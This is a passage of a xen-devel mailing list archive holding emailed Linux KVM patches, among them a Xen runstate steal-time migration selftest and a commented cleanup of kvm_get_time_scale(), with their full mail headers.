+		kvm_end_pvclock_update(kvm);
+	}
 }
 
 /*
@@ -6822,7 +6854,7 @@ static void kvm_hyperv_tsc_notifier(void)
 	kvm_caps.max_guest_tsc_khz = tsc_khz;
 
 	list_for_each_entry(kvm, &vm_list, vm_list) {
-		__kvm_start_pvclock_update(kvm);
+		__kvm_start_pvclock_update(kvm, NULL);
 		pvclock_update_vm_gtod_copy(kvm);
 		kvm_end_pvclock_update(kvm);
 	}
@@ -8204,8 +8236,8 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu)
 			kvm_mmu_free_obsolete_roots(vcpu);
 		if (kvm_check_request(KVM_REQ_MIGRATE_TIMER, vcpu))
 			__kvm_migrate_timers(vcpu);
-		if (kvm_check_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
-			kvm_update_masterclock(vcpu->kvm);
+		if (kvm_test_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
+			kvm_update_masterclock(vcpu->kvm, vcpu);
 		if (kvm_check_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu))
 			kvm_gen_kvmclock_update(vcpu);
 		if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, vcpu)) {
@@ -9557,7 +9589,7 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
 	if (!vcpu->kvm->arch.use_master_clock)
-		kvm_update_masterclock(vcpu->kvm);
+		kvm_update_masterclock(vcpu->kvm, NULL);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374510.1621784 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8W-0000UZ-5j; Tue, 28 Jul 2026 14:50:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374510.1621784; Tue, 28 Jul 2026 14:50:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8V-0000Pg-0N; Tue, 28 Jul 2026 14:50:27 +0000
Received: by outflank-mailman (input) for mailman id 1374510;
 Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8K-0006ag-4k
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8J-00BbE3-GR; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19e-e002-0a2a0a5209dd-0a2a45078960-42
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a7-b4ea-0a2a45070019-5a9b5cc7bcc8-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:15 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vl-33KW; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UaB-3CEt;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=OGYK0XSUEhB9/heovBH1MiZWmZi8F4JBTWX7mmCKaE4=; b=hgCg6c6D2UGxE9PBLU9NUGJ6iw
	dqEPZCsDaXmXmvtbSn0pnlZleosyFUaUnDRI/jmGs636N8b62kkKGxznr2G7uF2hQsxmAnXtDzAaa
	S79T5Y0su6TUsZPQq7+Evomim9ZIqMDeg2KX1MfQjzjYnqeRjb+GJt5iexSW0zl0v6m8g7fnb4YzN
	c96KgzuCGP5tOZRzIVUeJ9Jl5vwo5xJO42BGQ+9E+lGVbyEEjmotizPiy8xq0ZGx4TpCO5ilu1Y5s
	F2VwPink6Sej6FvMGLFjCgrpBjgQI4RyoRYpVzWQTJ2NFevNIU/m7itlKYbh+4VSnmv7Q6LzOefgu
	rFYKuv8A==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 36/36] KVM: selftests: Add Xen runstate migration test
Date: Tue, 28 Jul 2026 15:40:16 +0100
Message-ID: <20260728144954.355376-37-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250215-37CD7AE4-980573A2/0/0
X-purgate-type: clean
X-purgate-size: 9613

From: David Woodhouse <dwmw@amazon.co.uk>

Test that Xen runstate (steal time) is correctly accounted across a
simulated live migration using KVM_XEN_VCPU_ATTR and KVM_[GS]ET_CLOCK_GUEST.

The test simulates what a real VMM does during migration:
1. Creates a VM with Xen HVM config and runstate tracking
2. Runs the guest to accumulate some kvmclock time
3. Saves clock (KVM_GET_CLOCK_GUEST), TSC offset, and runstate
4. Marks the saved state as RUNSTATE_runnable (vCPU not running)
5. Destroys the source VM
6. Sleeps 10ms (simulating migration network transfer time)
7. Creates a new VM and restores all state precisely as saved
8. Runs the guest and verifies the migration gap appears as steal

The guest TSC is transferred via the KVM_VCPU_TSC_OFFSET attribute. As
the "migration" is to a new VM on the same host, restoring the same
offset makes the guest TSC continue uninterrupted across the gap, so the
restored pvclock yields a kvmclock which has kept running too. That is
what makes the migration gap visible: the destination kvmclock is ahead
of the saved state_entry_time by (at least) the gap duration, rather
than restarting from the destination VM's creation time.

The kernel accounts the gap because: on vcpu_load, it transitions from
RUNSTATE_runnable to RUNSTATE_running, computing delta = kvmclock_now -
state_entry_time. Since kvmclock has advanced past the saved entry time
(real time elapsed during migration), the delta is added to time_runnable.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../selftests/kvm/x86/xen_migration_test.c    | 205 ++++++++++++++++++
 2 files changed, 206 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/xen_migration_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 2029190f86d1..a2c4aadeb844 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -146,6 +146,7 @@ TEST_GEN_PROGS_x86 += x86/debug_regs
 TEST_GEN_PROGS_x86 += x86/tsc_msrs_test
 TEST_GEN_PROGS_x86 += x86/vmx_pmu_caps_test
 TEST_GEN_PROGS_x86 += x86/xen_cpuid_timing_test
+TEST_GEN_PROGS_x86 += x86/xen_migration_test
 TEST_GEN_PROGS_x86 += x86/xen_shinfo_test
 TEST_GEN_PROGS_x86 += x86/xen_vmcall_test
 TEST_GEN_PROGS_x86 += x86/sev_dbg_test
diff --git a/tools/testing/selftests/kvm/x86/xen_migration_test.c b/tools/testing/selftests/kvm/x86/xen_migration_test.c
new file mode 100644
index 000000000000..e43846a77e61
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/xen_migration_test.c
@@ -0,0 +1,205 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test Xen runstate (steal time) preservation across simulated migration.
+ *
+ * Verifies that the kernel correctly accounts the migration gap as
+ * steal time (runnable) when runstate data is saved and restored
+ * precisely, but real time elapses during the migration.
+ *
+ * The key insight: userspace saves the runstate with state=RUNSTATE_runnable
+ * (the vCPU is not running during migration). On restore, the kernel sees
+ * that kvmclock has advanced past state_entry_time, and accounts the
+ * difference as time spent in the runnable state.
+ */
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define SHINFO_GPA	0xc0000000ULL
+#define RUNSTATE_GPA	(SHINFO_GPA + 0x1000)
+
+#define RUNSTATE_running  0
+#define RUNSTATE_runnable 1
+#define RUNSTATE_blocked  2
+#define RUNSTATE_offline  3
+
+struct vcpu_runstate_info {
+	uint32_t state;
+	uint64_t state_entry_time;
+	uint64_t time[4];
+} __attribute__((packed));
+
+static void guest_code(void)
+{
+	volatile struct vcpu_runstate_info *rs =
+		(void *)(unsigned long)RUNSTATE_GPA;
+
+	/* Report runstate times â€” no need to enable kvmclock MSR,
+	 * the kernel writes runstate using its internal kvmclock. */
+	GUEST_SYNC_ARGS(0, rs->time[RUNSTATE_runnable],
+			rs->time[RUNSTATE_running], 0, 0);
+}
+
+static struct kvm_vm *create_xen_vm(struct kvm_vcpu **vcpu)
+{
+	struct kvm_vm *vm;
+	int xen_caps;
+
+	vm = vm_create_with_one_vcpu(vcpu, guest_code);
+
+	xen_caps = kvm_check_cap(KVM_CAP_XEN_HVM);
+	TEST_REQUIRE(xen_caps & KVM_XEN_HVM_CONFIG_SHARED_INFO);
+	TEST_REQUIRE(xen_caps & KVM_XEN_HVM_CONFIG_RUNSTATE);
+
+	/* Map pages */
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    SHINFO_GPA, 1, 2, 0);
+	virt_map(vm, SHINFO_GPA, SHINFO_GPA, 2);
+
+	/* Enable Xen HVM with MSR interception (enables runstate tracking) */
+	struct kvm_xen_hvm_config cfg = {
+		.flags = KVM_XEN_HVM_CONFIG_INTERCEPT_HCALL,
+		.msr = 0x40000000,
+	};
+	vm_ioctl(vm, KVM_XEN_HVM_CONFIG, &cfg);
+
+	/* Set shared_info */
+	struct kvm_xen_hvm_attr ha = {
+		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO,
+		.u.shared_info.gfn = SHINFO_GPA >> 12,
+	};
+	vm_ioctl(vm, KVM_XEN_HVM_SET_ATTR, &ha);
+
+	/* Set runstate address */
+	struct kvm_xen_vcpu_attr rs_addr = {
+		.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_ADDR,
+		.u.gpa = RUNSTATE_GPA,
+	};
+	vcpu_ioctl(*vcpu, KVM_XEN_VCPU_SET_ATTR, &rs_addr);
+
+	return vm;
+}
+
+int main(void)
+{
+	struct pvclock_vcpu_time_info pvti;
+	struct kvm_xen_vcpu_attr runstate_save;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint64_t tsc_offset;
+	int ret;
+
+	/* === SOURCE SIDE === */
+	pr_info("=== Source: create VM and run guest ===\n");
+	vm = create_xen_vm(&vcpu);
+
+	/* Run guest once to accumulate some runstate time */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	pr_info("  Guest sees: runnable=%" PRIu64 " running=%" PRIu64 "\n",
+		uc.args[2], uc.args[3]);
+
+	/* Save clock state */
+	ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(!ret, "KVM_GET_CLOCK_GUEST failed");
+
+	/*
+	 * Save the guest TSC offset. This test migrates to a new VM on
+	 * the same host, so restoring the same offset makes the guest
+	 * TSC continue uninterrupted across the migration gap, and the
+	 * restored pvclock (KVM_SET_CLOCK_GUEST) then yields a kvmclock
+	 * which has also kept running across the gap. (A real migration
+	 * to a different host would compute the destination offset from
+	 * KVM_GET_CLOCK's {host_tsc, realtime} pair as described in
+	 * Documentation/virt/kvm/devices/vcpu.rst.)
+	 */
+	vcpu_device_attr_get(vcpu, KVM_VCPU_TSC_CTRL, KVM_VCPU_TSC_OFFSET,
+			     &tsc_offset);
+
+	/* Save runstate â€” the vCPU is now "runnable" (not running) */
+	runstate_save.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_DATA;
+	vcpu_ioctl(vcpu, KVM_XEN_VCPU_GET_ATTR, &runstate_save);
+
+	/*
+	 * Transition to runnable state before saving â€” the vCPU is
+	 * not running during migration.
+	 */
+	runstate_save.u.runstate.state = RUNSTATE_runnable;
+
+	pr_info("  Saved runstate: running=%" PRIu64 " runnable=%" PRIu64
+		" entry=%" PRIu64 "\n",
+		(uint64_t)runstate_save.u.runstate.time_running,
+		(uint64_t)runstate_save.u.runstate.time_runnable,
+		(uint64_t)runstate_save.u.runstate.state_entry_time);
+
+	uint64_t saved_runnable = runstate_save.u.runstate.time_runnable;
+
+	kvm_vm_free(vm);
+
+	/* === MIGRATION GAP === */
+	pr_info("=== Simulating migration (sleeping 10ms) ===\n");
+	usleep(10000);
+
+	/* === DESTINATION SIDE === */
+	pr_info("=== Destination: create new VM and restore ===\n");
+	vm = create_xen_vm(&vcpu);
+
+	/* Restore the guest TSC offset (same host: TSC continues) */
+	vcpu_device_attr_set(vcpu, KVM_VCPU_TSC_CTRL, KVM_VCPU_TSC_OFFSET,
+			     &tsc_offset);
+
+	/* Restore clock â€” kvmclock will now be ~10ms ahead of the snapshot */
+	vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti);
+
+	/* Restore runstate exactly as saved (state=runnable) */
+	runstate_save.type = KVM_XEN_VCPU_ATTR_TYPE_RUNSTATE_DATA;
+	ret = __vcpu_ioctl(vcpu, KVM_XEN_VCPU_SET_ATTR, &runstate_save);
+	TEST_ASSERT(!ret, "Restore runstate failed: errno %d", errno);
+
+	/*
+	 * Run the guest. When the vCPU enters vcpu_run, the kernel
+	 * transitions from RUNSTATE_runnable to RUNSTATE_running.
+	 * It computes: delta = kvmclock_now - state_entry_time
+	 * This delta (which includes the migration gap) is added to
+	 * time_runnable (steal time).
+	 */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	uint64_t guest_runnable = uc.args[2];
+	uint64_t guest_running = uc.args[3];
+
+	pr_info("  Guest sees: runnable=%" PRIu64 " running=%" PRIu64 "\n",
+		guest_runnable, guest_running);
+
+	uint64_t steal_increase = guest_runnable - saved_runnable;
+	pr_info("  Steal time increase: %" PRIu64 " ns (migration gap)\n",
+		steal_increase);
+
+	/*
+	 * The steal time increase should be at least 10ms (the sleep)
+	 * but not more than 5s (allowing for VM creation overhead).
+	 * The actual gap is from the source's state_entry_time to the
+	 * destination's kvmclock "now" at vcpu_load time.
+	 */
+	TEST_ASSERT(steal_increase >= 10000000ULL &&
+		    steal_increase < 5000000000ULL,
+		    "Steal time increase %" PRIu64 " ns not in expected range "
+		    "[10ms, 5s]", steal_increase);
+
+	kvm_vm_free(vm);
+	pr_info("PASS: Migration gap correctly accounted as steal time\n");
+	return 0;
+}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374512.1621792 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8Y-0000iP-6z; Tue, 28 Jul 2026 14:50:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374512.1621792; Tue, 28 Jul 2026 14:50:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8W-0000dS-Nb; Tue, 28 Jul 2026 14:50:28 +0000
Received: by outflank-mailman (input) for mailman id 1374512;
 Tue, 28 Jul 2026 14:50:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8K-0006kc-Sb
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8K-00BbE3-88; Tue, 28 Jul 2026 16:50:16 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a2-e002-0a2a0a5209dd-0a2a45038b12-16
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:16 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a7-fae8-0a2a45030019-5a9b5cc7ec00-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:16 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052VY-35KA; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYP-2BPp;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=P85n4DJZGbRApzZPtkbQiiIFpmeJLwa11iFjqZwhlJw=; b=iNEedtU2f3kU38JlH6lgaR3W6v
	EbRZmSIucbxBekYTdZBVO/U00ZieRlATzKhvxuaX4Gf+/EgwRuFIyEymB8PQv9q2WgbJ6po++lc0j
	cIQEMcseYiSkVe8jV5LCpPsyjo65Xj+MSh1HuuHDVy8TtjqBk5ZMcb5RFjxOX9vUP8EJjsp/VgP/3
	gqZ30KD1QyanR3YVoUE+BFs27HL0P4Jo+7pHd26JFDPH7mqWFe1Dk++9azRN3FjUesV4iD3k1uMfM
	8dMdVwzg3Vq/fHDrf4HDGXqKwN0uv2j2SYP7KbQi/G4eynd3xS+3BOHLwn3c6te5expUWyYD3Akge
	OtWcz8LA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 12/36] KVM: x86: Simplify and comment kvm_get_time_scale()
Date: Tue, 28 Jul 2026 15:39:52 +0100
Message-ID: <20260728144954.355376-13-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1785250216-6D6D64E9-7E8A21E2/0/0
X-purgate-type: clean
X-purgate-size: 3195

From: David Woodhouse <dwmw@amazon.co.uk>

The kvm_get_time_scale() function was entirely opaque. Add comments
explaining what it does: compute a fixed-point multiplier and shift for
converting TSC ticks to nanoseconds via pvclock_scale_delta().

Rename the local variables from the cryptic tps64/tps32/scaled64 to
base_hz_u64/base32/scaled_hz_u64 to make the code self-documenting.
The "tps32" name stood for "Ticks Per Second" but was misleading since
it held the shifted base frequency, not a tick count.

No functional change.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 55 +++++++++++++++++++++++++++++++++-------------
 1 file changed, 40 insertions(+), 15 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 12c3d7d503ca..77feed979b59 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -938,32 +938,57 @@ static uint32_t div_frac(uint32_t dividend, uint32_t divisor)
 	return dividend;
 }
 
-static void kvm_get_time_scale(uint64_t scaled_hz, uint64_t base_hz,
+static void kvm_get_time_scale(u64 scaled_hz, u64 base_hz,
 			       s8 *pshift, u32 *pmultiplier)
 {
-	uint64_t scaled64;
-	int32_t  shift = 0;
-	uint64_t tps64;
-	uint32_t tps32;
+	u64 scaled_hz_u64 = scaled_hz;
+	s32 shift = 0;
+	u64 base_hz_u64;
+	u32 base32;
 
-	tps64 = base_hz;
-	scaled64 = scaled_hz;
-	while (tps64 > scaled64*2 || tps64 & 0xffffffff00000000ULL) {
-		tps64 >>= 1;
+	/*
+	 * This function calculates a fixed-point multiplier and shift such
+	 * that:
+	 *   time_ns = (tsc_cycles << shift) * multiplier >> 32
+	 *
+	 * Where tsc_cycles tick at base_hz, and time_ns should count at
+	 * scaled_hz (typically NSEC_PER_SEC for a TSCâ†’nanoseconds conversion).
+	 *
+	 * The multiplier is: (scaled_hz << 32) / base_hz, adjusted by shift
+	 * to keep everything in range.
+	 */
+
+	base_hz_u64 = base_hz;
+
+	/*
+	 * Start by shifting base_hz right until it fits in 32 bits, and
+	 * is lower than double the target rate. This introduces a negative
+	 * shift value which would result in pvclock_scale_delta() shifting
+	 * the actual tick count right before performing the multiplication.
+	 */
+	while (base_hz_u64 > scaled_hz_u64 * 2 || base_hz_u64 >> 32) {
+		base_hz_u64 >>= 1;
 		shift--;
 	}
 
-	tps32 = (uint32_t)tps64;
-	while (tps32 <= scaled64 || scaled64 & 0xffffffff00000000ULL) {
-		if (scaled64 & 0xffffffff00000000ULL || tps32 & 0x80000000)
-			scaled64 >>= 1;
+	/* Now the shifted base_hz fits in 32 bits. */
+	base32 = (u32)base_hz_u64;
+
+	/*
+	 * Next, shift scaled_hz right until it fits in 32 bits, and ensure
+	 * that the shifted base_hz is strictly larger (so that the result of the
+	 * final division also fits in 32 bits).
+	 */
+	while (base32 <= scaled_hz_u64 || scaled_hz_u64 >> 32) {
+		if (scaled_hz_u64 >> 32 || base32 & BIT(31))
+			scaled_hz_u64 >>= 1;
 		else
-			tps32 <<= 1;
+			base32 <<= 1;
 		shift++;
 	}
 
 	*pshift = shift;
-	*pmultiplier = div_frac(scaled64, tps32);
+	*pmultiplier = div_frac(scaled_hz_u64, base32);
 }
 
 #ifdef CONFIG_X86_64
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374511.1621800 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8Z-00012n-S3; Tue, 28 Jul 2026 14:50:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374511.1621800; Tue, 28 Jul 2026 14:50:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8Y-0000vD-Lp; Tue, 28 Jul 2026 14:50:30 +0000
Received: by outflank-mailman (input) for mailman id 1374511;
 Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8K-0006gA-KA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8K-00EhwD-08; Tue, 28 Jul 2026 16:50:16 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a5-5cb7-0a2a0a5109dd-0a2a450cb8be-6
